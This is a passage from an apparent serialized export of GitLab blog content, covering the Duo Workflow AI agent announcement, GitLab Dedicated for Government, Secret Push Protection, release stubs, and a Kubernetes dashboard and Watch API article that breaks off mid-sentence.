Workflow to be an intelligent, always-on agent that constantly monitors your projects, anticipates potential production issues, automatically identifies and resolves vulnerabilities, optimizes your applications for peak performance, and streamlines onboarding by rapidly building customized remote development environments.\n\nAI is transforming how secure software is created, maintained, updated, deployed, and monitored, enabling organizations to ship more software than ever before. GitLab Duo Workflow represents our first bold step towards AI-driven DevSecOps. We aim to empower developers to focus on high-level problem-solving, innovation, and value creation, while [GitLab Duo](https://about.gitlab.com/gitlab-duo/) handles repetitive tasks and optimization behind the scenes.\n\n## The vision for GitLab Duo Workflow\nWith GitLab Duo Workflow, we are laser-focused on tackling several key use cases to automate and optimize the software development process from end to end.\n### 1. Development automated\n\nStraight from the IDE, GitLab Duo Workflow helps plan and prioritize tasks tailored to individual projects and defined organizational processes. Using the requirements from a particular work item (whether an epic, issue, or task), Workflow produces an implementation plan that developers can review and refine. Then, Workflow works through the plan, generating or rewriting code to accomplish and meet the defined requirements. Workflow accomplishes this by operating within a [GitLab Remote Development workspace](https://about.gitlab.com/blog/quick-start-guide-for-gitlab-workspaces/), allowing it to safely and securely evaluate, write, and test code changes. This also ensures that Workflow produces code that both meets the requirements as well as passes all CI pipeline tests, including security scans. If the pipeline fails, Workflow automatically addresses issues and troubleshoots as needed, ensuring only high-quality code that meets your organization's standards is created and committed to your projects.\n\nOnce ready, Workflow will automatically create a merge request outlining its code changes and go through your merge request approval processes, including engaging with the code reviewer or maintainer. You can even ask Workflow to review your code and have it comment on your merge requests just as a human code reviewer would today. Even better, Workflow will implement those suggestions for you if you'd like it to. And this is only the start.\n\n### 2. Intelligent continuous improvement\nGitLab Duo Workflow will analyze your codebase in real time, suggesting architectural optimizations for enhanced efficiency, performance, and cost savings. Furthermore, it will proactively identify opportunities for code refactoring to improve scalability and address technical debt by suggesting changes to developers or automatically implementing them in a sandbox environment. Additionally, Workflow will dynamically manage cloud resources to prevent overprovisioning and ensure your applications always meet their performance targets.\n\n### 3. Proactive security and compliance\nSecurity and compliance are top priorities for any organization. GitLab Duo Workflow will automatically ask developers to apply patches, refactor insecure code, and adapt to emerging threats in real time. Moreover, Workflow will continuously assess security risks associated with your applications and production environments and assist you with implementing mitigating controls.\n\n### 4. Self-optimizing performance\nGitLab Duo Workflow will incorporate sophisticated feedback loops for continuous learning and improvement. By analyzing data from monitoring tools, user interactions, and business outcomes, it will continuously refine its view of your codebase to ensure that your application architectures are always aligned with your business needs. As we see with all AI, Workflow will constantly improve, catching and fixing its own mistakes as it learns to be a partner in your organization.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://player.vimeo.com/video/967982166?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479\" frameborder=\"0\" allowfullscreen=\"true\" title=\"GitLab Duo Workflow the future of AI-driven DevSecOps\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## The future of AI is now\nGitLab Duo Workflow represents an exciting leap forward, transitioning from AI that requires constant human prompting to AI that drives development workflows and processes, seeking human guidance when needed. With GitLab's unified, AI-driven interface spanning the DevSecOps lifecycle, organizations will be able to create a new generation of AI-powered applications with unparalleled speed, efficiency, and innovation, all while maintaining the highest standards of security and compliance. No tradeoffs.\n\nStay tuned for more updates and insights as we continue to push the boundaries of what's possible with AI in software development. Together, let's embrace the future of AI-driven DevSecOps and unlock the full potential of your teams and organizations.\n\n> If you are curious about AI-driven DevSecOps and want to be part of this journey, including access to the pre-release program, please [sign up for our GitLab Duo Workflow waitlist](https://forms.gle/5ppRuNVb8LwSPNVJA).",[790,479,943,736,1444],{"slug":5421,"featured":92,"template":678},"meet-gitlab-duo-workflow-the-future-of-ai-driven-development","content:en-us:blog:meet-gitlab-duo-workflow-the-future-of-ai-driven-development.yml","Meet Gitlab Duo Workflow The Future Of Ai Driven Development","en-us/blog/meet-gitlab-duo-workflow-the-future-of-ai-driven-development.yml","en-us/blog/meet-gitlab-duo-workflow-the-future-of-ai-driven-development",{"_path":5427,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5428,"content":5434,"config":5439,"_id":5442,"_type":16,"title":5443,"_source":17,"_file":5444,"_stem":5445,"_extension":20},"/en-us/blog/gitlab-critical-patch-release-17-1-1-17-0-3-16-11-5",{"title":5429,"description":5430,"ogTitle":5429,"ogDescription":5430,"config":5431,"ogImage":3431,"ogUrl":5432,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5432,"schema":5433},"GitLab Critical Patch Release: 17.1.1, 17.0.3, 16.11.5","Learn more about GitLab Critical Patch Release: 17.1.1, 17.0.3, 16.11.5 for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-critical-patch-release-17-1-1-17-0-3-16-11-5","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Critical Patch Release: 17.1.1, 17.0.3, 16.11.5\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Nikhil George\"}],\n        \"datePublished\": \"2024-06-26\",\n      }",{"title":5429,"description":5430,"authors":5435,"heroImage":3431,"date":5436,"body":5437,"category":674,"tags":5438},[4221],"2024-06-26","This is the post for [GitLab Critical Patch Release: 17.1.1, 17.0.3, 16.11.5](https://about.gitlab.com/releases/2024/06/26/patch-release-gitlab-17-1-1-released/).",[1464,674],{"slug":5440,"featured":6,"template":678,"externalUrl":5441},"gitlab-critical-patch-release-17-1-1-17-0-3-16-11-5","https://about.gitlab.com/releases/2024/06/26/patch-release-gitlab-17-1-1-released/","content:en-us:blog:gitlab-critical-patch-release-17-1-1-17-0-3-16-11-5.yml","Gitlab Critical Patch Release 17 1 1 17 0 3 16 11 5","en-us/blog/gitlab-critical-patch-release-17-1-1-17-0-3-16-11-5.yml","en-us/blog/gitlab-critical-patch-release-17-1-1-17-0-3-16-11-5",{"_path":5447,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5448,"content":5454,"config":5461,"_id":5463,"_type":16,"title":5464,"_source":17,"_file":5465,"_stem":5466,"_extension":20},"/en-us/blog/introducing-gitlab-dedicated-for-government",{"title":5449,"description":5450,"ogTitle":5449,"ogDescription":5450,"noIndex":6,"ogImage":5451,"ogUrl":5452,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5452,"schema":5453},"Introducing GitLab Dedicated for Government","Learn how our single-tenant SaaS offering, along with our new FedRAMP \"In Process\" designation, will help public sector customers securely advance their modernization objectives.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667636/Blog/Hero%20Images/Dedicated_Screengrab_1800x945.png","https://about.gitlab.com/blog/introducing-gitlab-dedicated-for-government","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing GitLab Dedicated for Government\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chris Balane\"},{\"@type\":\"Person\",\"name\":\"Corey Oas\"}],\n        \"datePublished\": \"2024-06-25\",\n      }",{"title":5449,"description":5450,"authors":5455,"heroImage":5451,"date":5458,"body":5459,"category":695,"tags":5460},[5456,5457],"Chris Balane","Corey Oas","2024-06-25","Public sector organizations, as well as companies in highly regulated industries, are transforming software development by adopting modern and efficient cloud-based technologies while safeguarding the security of federal information. Not an easy task. However, with the just-announced GitLab Dedicated for Government offering, we will be providing customers with a FedRAMP-compliant DevSecOps solution through a secure, single-tenant SaaS offering. Now [listed on the FedRAMP Marketplace](https://marketplace.fedramp.gov/products/FR2411959145), GitLab Dedicated for Government will provide all of the benefits of an enterprise DevSecOps platform, with an added focus on data residency, isolation, and private networking to help meet compliance needs.\n\n> To learn more about GitLab Dedicated for Government, and how to secure your software supply chain from code to cloud, reach out to our [sales team](mailto:public-sector@gitlab.com).\n\n## Achieving FedRAMP® certification\n\nThe [Federal Risk and Authorization Management Program](https://www.fedramp.gov/), otherwise known as FedRAMP, has become the gold standard in cloud security, not just for the federal government, but for state and local governments, contractors that aspire to work with government agencies, and security-minded organizations. The U.S. government mandates that cloud services for federal agencies meet strict security standards under FedRAMP. This supports the shift from legacy IT to cost-effective, secure, and scalable cloud-based systems. FedRAMP standards are very rigorous. Organizations must undergo a thorough assessment process, implement necessary security controls, conduct regular audits, and ensure continuous monitoring to meet the stringent criteria set by FedRAMP.\n\nGitLab achieved a major milestone, receiving an \"In Process\" designation for [FedRAMP Moderate Impact Level](https://www.fedramp.gov/baselines/#moderate-impact). This designation is given to cloud service providers working toward a FedRAMP “Authority to Operate” (ATO) status.\n\n**Note:** GitLab also has a provisional certification through the Texas Risk and Authorization Management Program, or [TX-RAMP](https://dir.texas.gov/resource-library-item/tx-ramp-certified-cloud-products), which allows us to work with Texas state agencies.\n\n## Navigating compliance complexities\n\nAs more public sector organizations move away from costly legacy systems and migrate their mission-critical workloads to the cloud, cloud and multi-cloud adoption will grow significantly. At GitLab, we serve a wide variety of customers in the public sector – from federally funded research and development centers and service providers working on behalf of the government, to some of the largest government agencies – and we know that no single deployment model will serve the needs of all of our customers.\n\nOur customers have told us they need a SaaS offering that provides additional deployment control and data residency to meet stringent compliance requirements. We see this need with large enterprises and companies in regulated industries that are coming under increased scrutiny, facing global internet policy fragmentation, and dealing with the expanding complexity of data governance. GitLab has consistently observed that security is a top priority for organizations and our [2024 Global DevSecOps Survey](https://about.gitlab.com/developer-survey/) showed that this trend continued, with security remaining the primary investment area. \n\n## The benefits of GitLab Dedicated for Government\n\nGitLab Dedicated for Government, which aligns to the Cybersecurity and Infrastructure Security Agency's [Secure by Design principles](https://about.gitlab.com/blog/secure-by-design-principles-meet-devsecops-innovation-in-gitlab-17/), can help the public sector and highly regulated industries reduce toolchain complexity, and support data residency and protection, all while being hosted and managed by GitLab.\n\n### 1. Toolchain consolidation\nToolchain management continues to be an area where DevSecOps teams are feeling the pressure. Many organizations pay for numerous cybersecurity tools that only serve a single purpose, resulting in a surplus of unused or forgotten products and services. According to our [2024 Global DevSecOps Survey](https://about.gitlab.com/developer-survey/), 64% of survey respondents expressed the need to consolidate their toolchains. Security professionals in particular reported using a lot of tools — 63% of security respondents said they use six or more tools. The result can be unnecessary spend, and added complexities and vulnerabilities, putting organizations at a higher risk of cyber attacks. GitLab Dedicated for Government unites DevSecOps teams in a single platform with a single workflow without the need to buy or maintain other tools. By consolidating complex toolchains, organizations can strengthen security and improve process and operational efficiency.\n\n### 2. Data residency and protection \nGitLab Dedicated for Government is built on top of a FedRAMP-authorized infrastructure, which meets U.S. data sovereignty requirements, including access that is restricted to U.S. citizens. \n\nTo help further protect customer data, GitLab Dedicated for Government supports a secure, private connection between the customer’s virtual private cloud network and GitLab. Therefore, users, data, and services have secure access to the isolated instance without exposing services directly to the internet.\n\n### 3. Managed and hosted by GitLab\nGitLab Dedicated for Government is not only single-tenant (physical isolation between other customers), U.S.-based, and privately connected, but it’s also managed and hosted by GitLab. Organizations can quickly realize the value of a DevSecOps platform, including the advanced flexibility of a self-managed instance, but without requiring staff to build out and manage infrastructure. Organizations get all of the benefits of GitLab — shorter cycle times, lower costs, stronger security, and more productive developers — with lower total cost of ownership and quicker time-to-value than self-hosting. \n\n## How to get started with GitLab Dedicated for Government\nGitLab Dedicated for Government will bring more flexibility and greater choice to the [public sector](https://about.gitlab.com/solutions/public-sector/) and organizations in highly regulated industries that have complex compliance and data residency requirements. The offering will provide the efficiencies of the cloud, but with infrastructure-level isolation and data residency controls. To learn more about GitLab Dedicated for Government, and how to secure your software supply chain from code to cloud, reach out to our [sales team](https://about.gitlab.com/sales/).\n",[185,674,736,479,695],{"slug":5462,"featured":92,"template":678},"introducing-gitlab-dedicated-for-government","content:en-us:blog:introducing-gitlab-dedicated-for-government.yml","Introducing Gitlab Dedicated For Government","en-us/blog/introducing-gitlab-dedicated-for-government.yml","en-us/blog/introducing-gitlab-dedicated-for-government",{"_path":5468,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5469,"content":5475,"config":5481,"_id":5483,"_type":16,"title":5484,"_source":17,"_file":5485,"_stem":5486,"_extension":20},"/en-us/blog/prevent-secret-leaks-in-source-code-with-gitlab-secret-push-protection",{"title":5470,"description":5471,"ogTitle":5470,"ogDescription":5471,"noIndex":6,"ogImage":5472,"ogUrl":5473,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5473,"schema":5474},"Prevent secret leaks in source code with GitLab Secret Push Protection","Learn how Secret Push Protection, now generally available, adds to a defense-in-depth detection strategy and decreases the resources needed to remediate secret leaks.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097761/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%286%29_6vL96ttKF8zJLLqfPpvFs_1750097761137.png","https://about.gitlab.com/blog/prevent-secret-leaks-in-source-code-with-gitlab-secret-push-protection","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Prevent secret leaks in source code with GitLab Secret Push Protection\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Amar Patel\"},{\"@type\":\"Person\",\"name\":\"Sara Meadzinger\"}],\n        \"datePublished\": \"2024-06-24\",\n      }",{"title":5470,"description":5471,"authors":5476,"heroImage":5472,"date":5478,"body":5479,"category":674,"tags":5480,"updatedDate":4122},[5477,1741],"Amar Patel","2024-06-24","Secret Push Protection is now generally available for all GitLab Ultimate and GitLab Dedicated customers. [Secret Push Protection](https://docs.gitlab.com/ee/user/application_security/secret_detection/secret_push_protection/) blocks secrets such as keys and API tokens from being pushed to GitLab. The content of each commit is checked for [high-confidence secrets](https://docs.gitlab.com/ee/user/application_security/secret_detection/detected_secrets.html) when pushed to GitLab. If any high-confidence secrets are detected, the push is blocked. By protecting secrets from leaking in the first place, your team can greatly reduce risk and reduce time spent on rotating secrets.\n\n## The risk of leaked secrets\n\nSecrets, such as tokens and API keys, are frequently used by applications to authenticate and provide access to sensitive data. Developers sometimes inadvertently hardcode these secrets, and then push that code into source management systems, like GitLab. Hardcoded secrets stored in plain text are a low-effort, high-value target for malicious actors, as numerous recent high-profile breaches have demonstrated. Secrets do not require any special skills to exploit and many secrets do not automatically expire. Therefore, once a malicious actor has access to a secret, they can continue using it indefinitely to cause data breaches, service disruptions, IP theft, source code theft, and software supply chain compromises. Both [Verizon’s annual Data Breach Investigations Report](https://www.verizon.com/business/resources/reports/dbir) and [IBM’s annual Cost of a Data Breach report](https://www.ibm.com/reports/data-breach) have repeatedly reported that compromised credentials, which include secrets, are one of the most frequent and expensive source of breaches. \n\nIBM’s research also indicates that taking a DevSecOps, or shift-left, approach is the most effective way to reduce the average cost of a data breach. Until now, GitLab’s primary secret detection method has been [Pipeline Secret Detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/pipeline/), which scans committed files after they have been pushed to GitLab and identifies secrets that are already leaked. Once a secret has leaked, it should be considered compromised and must be rotated according to the steps outlined by the secret issuer. Remediating detected secrets requires security teams and developers to work closely together to follow the steps outlined by a secret issuer to rotate the leaked secret. It can be a tedious, confusing, and risky process. Utilizing GitLab’s Secret Push Protection feature, you can shift secret detection further left, protect your secrets from leaking in the first place, and reduce the amount of time and energy required to remediate leaks.\n\n## How Secret Push Protection works\nOnce [Secret Push Protection](https://docs.gitlab.com/ee/user/application_security/secret_detection/secret_push_protection/) is enabled on a project, developers are blocked from pushing code to projects that contain any high-confidence secrets. This ensures a performant experience when pushing your code and also results in a lower number of false alerts. **Note:** Here is the [list of high-confidence patterns Secret Push Protection supports](https://docs.gitlab.com/ee/user/application_security/secret_detection/secret_push_protection/detected_secrets.html). \n\nWhile we are checking the contents of each commit, we've [excluded](https://docs.gitlab.com/ee/user/application_security/secret_detection/secret_push_protection/#coverage) a number of factors in order to optimize the performance of this workflow. Because of this, we recommend using Secret Push Protection in a layered approach alongside [Pipeline Secret Detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/pipeline). Using both features in tandem maximizes coverage to identify more leaked secrets across the software development lifecycle.\n\n# Get started with Secret Push Protection\n\nWe've put a video playlist together to help you get started on using this feature:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/videoseries?si=kRG65YbljQ-Nu2wa&amp;list=PL05JrBw4t0KoADm-g2vxfyR0m6QLphTv-\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Enable Secret Push Protection\n\nOn GitLab Dedicated and Self-managed, you must allow the use of Secret Push Protection in your instance and then enable it per project. On GitLab.com, you only need to enable it per project.\n\nYou must have at least the Maintainer role to enable push protection for the project.\n\n1. On the left sidebar, select **Search** or **Go to** and find your project.\n1. On the left sidebar, select **Secure > Security configuration**.\n1. Turn on the Secret Push Protection toggle.\n\n![secret push protection - toggle](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097769/Blog/Content%20Images/Blog/Content%20Images/Screenshot_2024-10-18_at_12.24.47_PM_aHR0cHM6_1750097769198.png)\n\n## Skip push protection\n\nIn some instances, when a push is blocked, you might find it necessary to skip Secret Push Protection. For example, a developer may need to commit a placeholder secret for testing. You can skip Secret Push Protection via a Git option or commit message, meeting developers in whichever Git client they are using. \n\n## Add exclusions\n\nWe released exclusions, giving you flexibility to exclude certain paths, rules from the default ruleset, or raw values from being scanned, detected, and blocked by push protection. From the Security Configuration page, Maintainers and project Owners can manage push protection exclusion lists within the UI on a per-project basis. \n\n![secret push protection - image 4](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097769/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097769199.png)\n\n## Audit events\n\nDisabling Secret Push Protection, or even skipping it altogether, can prove to be costly if not done for the appropriate reasons. We've introduced [audit events](https://docs.gitlab.com/ee/user/compliance/audit_events.html) to help administrators and security teams understand where and how this feature is being used, and to assist in any secrets-related investigations.\n\nWe currently log audit events when Secret Push Protection is: \n\n- enabled/disabled at an instance level\n- enabled/disabled at project level\n- skipped via a push option\n- skipped via a commit message \n\nAnd when an exclusion is:\n- created\n- updated\n- deleted \n\n![secret push protection - image 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097769/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097769200.png)\n\nThese audit events can be used in conjunction with [audit event streaming](https://docs.gitlab.com/ee/administration/audit_event_streaming/) to manage audit logs in third-party systems (like SIEMs), enabling customers to capture trends such as: how many times push protection is being skipped; which projects frequently bypass push protection; and which secrets are commonly skipped and may need to be excluded moving forward. \n\n# Dogfooding Secret Push Protection\n\nWe [dogfood everything](https://about.gitlab.com/handbook/engineering/development/principles/#dogfooding) here at GitLab. We've [collaborated](https://gitlab.com/groups/gitlab-org/-/epics/13523) with various teams across the organization to enable this feature across key projects, including our primary GitLab codebase. This process has enabled us to identify and address improvements early in the development process, and it has increased our confidence in the stability, performance, and customer workflows for the release of this feature.\n\n# What's next\n\nYou can help us improve this feature by commenting on [this Secret Push Protection feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/467408). We’ll incorporate your feedback and make [additional improvements](https://gitlab.com/groups/gitlab-org/-/epics/13107) as we continue to add new capabilities to the feature.\n\n> Learn more about the [Secret Push Protection](https://docs.gitlab.com/ee/user/application_security/secret_detection/secret_push_protection/).\n\n# Read more\n\n- [How Secret Detection can proactively revoke leaked credentials](https://about.gitlab.com/blog/how-secret-detection-can-proactively-revoke-leaked-credentials) \n- [How to implement secret management best practices with GitLab](https://about.gitlab.com/the-source/security/how-to-implement-secret-management-best-practices-with-gitlab/)\n- [GitLab native secrets manager to give software supply chain security a boost](https://about.gitlab.com/blog/gitlab-native-secrets-manager-to-give-software-supply-chain-security-a-boost)",[674,696,754,479,695],{"slug":5482,"featured":6,"template":678},"prevent-secret-leaks-in-source-code-with-gitlab-secret-push-protection","content:en-us:blog:prevent-secret-leaks-in-source-code-with-gitlab-secret-push-protection.yml","Prevent Secret Leaks In Source Code With Gitlab Secret Push Protection","en-us/blog/prevent-secret-leaks-in-source-code-with-gitlab-secret-push-protection.yml","en-us/blog/prevent-secret-leaks-in-source-code-with-gitlab-secret-push-protection",{"_path":5488,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5489,"content":5496,"config":5501,"_id":5504,"_type":16,"title":5505,"_source":17,"_file":5506,"_stem":5507,"_extension":20},"/en-us/blog/gitlab-17-1-release",{"title":5490,"description":5491,"ogTitle":5490,"ogDescription":5491,"config":5492,"ogImage":5493,"ogUrl":5494,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5494,"schema":5495},"GitLab 17.1 Release","GitLab 17.1 released with Model registry available in beta and multiple GitLab Duo Code Suggestions in VS Code.",{"noIndex":92},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669047/Blog/Hero%20Images/product-gl17-blog-release-cover-17-1-0093-1800x945-fy25.png","https://about.gitlab.com/blog/gitlab-17-1-release","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab 17.1 Release\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Gabriel Engel\"}],\n        \"datePublished\": \"2024-06-20\",\n      }",{"title":5490,"description":5491,"authors":5497,"heroImage":5493,"date":5498,"body":5499,"category":962,"tags":5500},[769],"2024-06-20","Click here for the [GitLab 17.1 release post](https://about.gitlab.com/releases/2024/06/20/gitlab-17-1-released/).",[774,695,479],{"slug":5502,"featured":92,"template":678,"externalUrl":5503},"gitlab-17-1-release","https://about.gitlab.com/releases/2024/06/20/gitlab-17-1-released/","content:en-us:blog:gitlab-17-1-release.yml","Gitlab 17 1 Release","en-us/blog/gitlab-17-1-release.yml","en-us/blog/gitlab-17-1-release",{"_path":5509,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5510,"content":5516,"config":5521,"_id":5523,"_type":16,"title":5524,"_source":17,"_file":5525,"_stem":5526,"_extension":20},"/en-us/blog/kubernetes-overview-operate-cluster-data-on-the-frontend",{"title":5511,"description":5512,"ogTitle":5511,"ogDescription":5512,"noIndex":6,"ogImage":5513,"ogUrl":5514,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5514,"schema":5515},"Kubernetes overview: Operate cluster data on the frontend","GitLab offers a built-in solution for monitoring your Kubernetes cluster health. Learn more about the technical design and functionality with this detailed guide.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099045/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2816%29_3L7ZP4GxJrShu6qImuS4Wo_1750099045397.png","https://about.gitlab.com/blog/kubernetes-overview-operate-cluster-data-on-the-frontend","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Kubernetes overview: Operate cluster data on the frontend\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Anna Vovchenko\"}],\n        \"datePublished\": \"2024-06-20\",\n      }",{"title":5511,"description":5512,"authors":5517,"heroImage":5513,"date":5498,"body":5519,"category":734,"tags":5520},[5518],"Anna Vovchenko","Accessing real-time cluster information is crucial for verifying successful software deployments and initiating troubleshooting processes. In this article, you'll learn about GitLab's enhanced Kubernetes integration, including how to leverage the Watch API for real-time insights into deployment statuses and streamlined troubleshooting capabilities. \n\n## What are GitLab's Kubernetes resources?\n\nGitLab offers a dedicated [dashboard for Kubernetes](https://gitlab.com/groups/gitlab-org/-/epics/2493 \"Visualize the cluster state in GitLab\") to understand the status of connected clusters with an intuitive visual interface. It is integrated into the Environment Details page and shows resources relevant to the environment. Currently, three types of Kubernetes resources are available:\n\n- pods filtered by the Kubernetes namespace\n- services\n- Flux resource ([HelmRelease](https://fluxcd.io/flux/components/helm/helmreleases/) or [Kustomization](https://fluxcd.io/flux/components/kustomize/kustomizations/))\n\nFor these resources, we provide general information, such as name, status, namespace, age, etc. It is represented similarly to what the [kubectl](https://kubernetes.io/docs/reference/kubectl/) command would show when run from the Kubernetes cluster. More details can be found when clicking each resource: The side drawer shows the list of labels, annotations, and detailed status and spec information presented as read-only YAML code blocks.\n\nThe information provided helps to visualize the cluster state, spot any issues, and debug problematic deployments right away.\n\n## Frontend to cluster communication: The GitLab solution\n\nWe have developed a range of tools and solutions to enable a seamless connection and management of Kubernetes clusters within GitLab. One of the core components of this system is the [GitLab agent for Kubernetes](https://docs.gitlab.com/ee/user/clusters/agent/install/). This powerful tool provides a secure bidirectional connection between a GitLab instance and a Kubernetes cluster. It is composed of two main components: **agentk** and **KAS** (Kubernetes agent server).\n\n![Kubernetes flow chart](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099055/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750099055229.png)\n\nagentk is a lightweight cluster-side component. It is responsible for establishing a connection to a KAS instance and waiting for requests to process. It is proxying requests from KAS to Kubernetes API. It may also actively send information about cluster events to KAS.\n\nWhile agentk is actively communicating with the cluster, KAS represents a GitLab server-side component. It is responsible for:\n\n- accepting requests from agentk\n- authenticating agentk requests by querying GitLab backend\n- fetching the agent's configuration from a corresponding Git repository using Gitaly\n- polling manifest repositories for GitOps support\n\nWe implemented the agent access rights feature to provide access from the GitLab frontend to the cluster in a secure and reliable way. To enable the feature, the user should update the agent’s configuration file by adding the [user_access](https://docs.gitlab.com/ee/user/clusters/agent/user_access.html) section with the following parameters: `projects`, `groups`, and `access_as` to specify which projects can access cluster information via the agent and how it should authenticate.\n\nOnce this is done, the frontend can connect to the cluster by sending a request to the Rails controller, which should set a `gitlab_kas cookie`. This cookie is then added to the request sent to KAS together with the agent ID and Cross-Site Request Forgery (CSRF) token. Upon receiving the request, KAS checks the user’s authorization and forwards it to agentk, which makes an actual request to the Kubernetes API. Then the response goes all the way back from the agentk to KAS and finally to the GitLab client.\n\n![Kubernetes overview - how it works](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099055/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750099055229.png)\n\nTo integrate this logic on the GitLab frontend and use it within the Vue app, we developed a JavaScript library: [@gitlab/cluster-client](https://gitlab.com/gitlab-org/cluster-integration/javascript-client). It is generated from the Kubernetes OpenAPI specification using the typescript-fetch generator. It provides all the Kubernetes APIs in a way that can be used in a web browser.\n\n## Introducing the Watch API\n\nThe most challenging task is to provide **real-time updates** for the Kubernetes dashboard. Kubernetes introduces the concept of watches as an extension of GET requests, exposing the body contents as a [readable stream](https://developer.mozilla.org/en-US/docs/Web/API/Streams_API/Using_readable_streams). Once connected to the stream, the Kubernetes API pushes cluster state updates similarly to how the `kubectl get \u003Cresource> --watch` command works. The watch mechanism allows a client to fetch the current state of the resource (or resources list) and then subscribe to subsequent changes, without missing any events. Each event contains a type of modification (one of three types: added, modified, or deleted) and the affected object.\n\nWithin the `WatchApi` class of the `@gitlab/cluster-client` library, we've developed a systematic approach for interacting with the Kubernetes API. This involves fetching a continuous stream of data, processing it line by line, and managing events based on their types. Let's explore the key components and functionalities of this approach:\n\n1. Extending the Kubernetes API: Within the WatchApi class, we extend the base Kubernetes API functionality to fetch a continuous stream of data with a specified path and query parameters. This extension enables efficient handling of large datasets, as the stream is processed line by line.\n  2. Decoding and event categorization: Upon receiving the stream, each line, typically representing a JSON object, is decoded. This process extracts relevant information and categorizes events based on their types.\n3. Internal data management: The `WatchApi` class maintains an internal data array to represent the current state of the streamed data, updating it accordingly as new data arrives or changes occur. \n4. The `WatchApi` class implements methods for registering event listeners, such as `onData`, `onError`, `onTimeout`, and `onTerminate`. These methods allow developers to customize their application's response to events like data updates, errors, and timeouts. \n\nThe code also handles scenarios such as invalid content types, timeouts, and errors from the server, emitting corresponding events for clients to handle appropriately. **With this straightforward, event-driven approach, the `WatchApi` class allows developers to create responsive real-time applications efficiently.**\n\n![Kubernetes overview - flow chart](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099055/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750099055231.png)\n\n## How is the Kubernetes overview integrated with the GitLab frontend?\n\nCurrently, we have two Kubernetes integrations within the product: the Kubernetes overview section for the Environments and the full Kubernetes dashboard as a separate view. The latter is a major effort of representing all the available Kubernetes resources with filtering and sorting capabilities and a detailed view with the full information on the metadata, spec, and status of the resource. This initiative is now on hold while we are searching for the most useful ways of representing the Kubernetes resources related to an environment.\n\n[The Kubernetes overview](https://docs.gitlab.com/ee/ci/environments/kubernetes_dashboard.html) on the Environments page is a detailed view of the Kubernetes resources related to a specific environment. To access the cluster state view, the user should select an agent installed in the cluster with the appropriate access rights, provide a namespace (optionally), and select a related Flux resource.\n\nThe view renders a list of Kubernetes pods and services filtered by the namespace representing their statuses as well as the Flux sync status. Clicking each resource opens a detailed view with more information for easy issue spotting and high-level debugging. \n\n![Kubernetes overview - list of Kubernetes pods and services](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099055/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750099055233.png)\n\nWe need to set up a correct configuration object that will be used for all the API requests. In the configuration, we need to specify the URL provided by the KAS, that proxies the Kubernetes APIs; the GitLab agent ID to connect with; and the CSRF token. We need to include cookies so that the `kas_cookie` gets picked up and sent within the request.\n\n```javascript\ncreateK8sAccessConfig({ kasTunnelUrl, gitlabAgentId }) {\n  return {\n    basePath: kasTunnelUrl,\n    headers: {\n      'GitLab-Agent-Id': gitlabAgentId,\n      ...csrf.headers,\n    },\n    credentials: 'include',\n  };\n}\n```\n\nAll the API requests are implemented as GraphQl client queries for efficiency, flexibility, and ease of development. The query structure enables clients to fetch data from various sources in one request. With clear schema definitions, GraphQL minimizes errors and enhances developer efficiency.\n\nWhen first rendering the Kubernetes overview, the frontend requests static lists of pods, services, and Flux resource (either HelmRelease or Kustomization). The fetch request is needed to render the empty view correctly. If the frontend tried to subscribe to the Watch API stream and one of the resource lists was empty, we would wait for the updates forever and never show the actual result – 0 resources. In the case of pods and services, after the initial 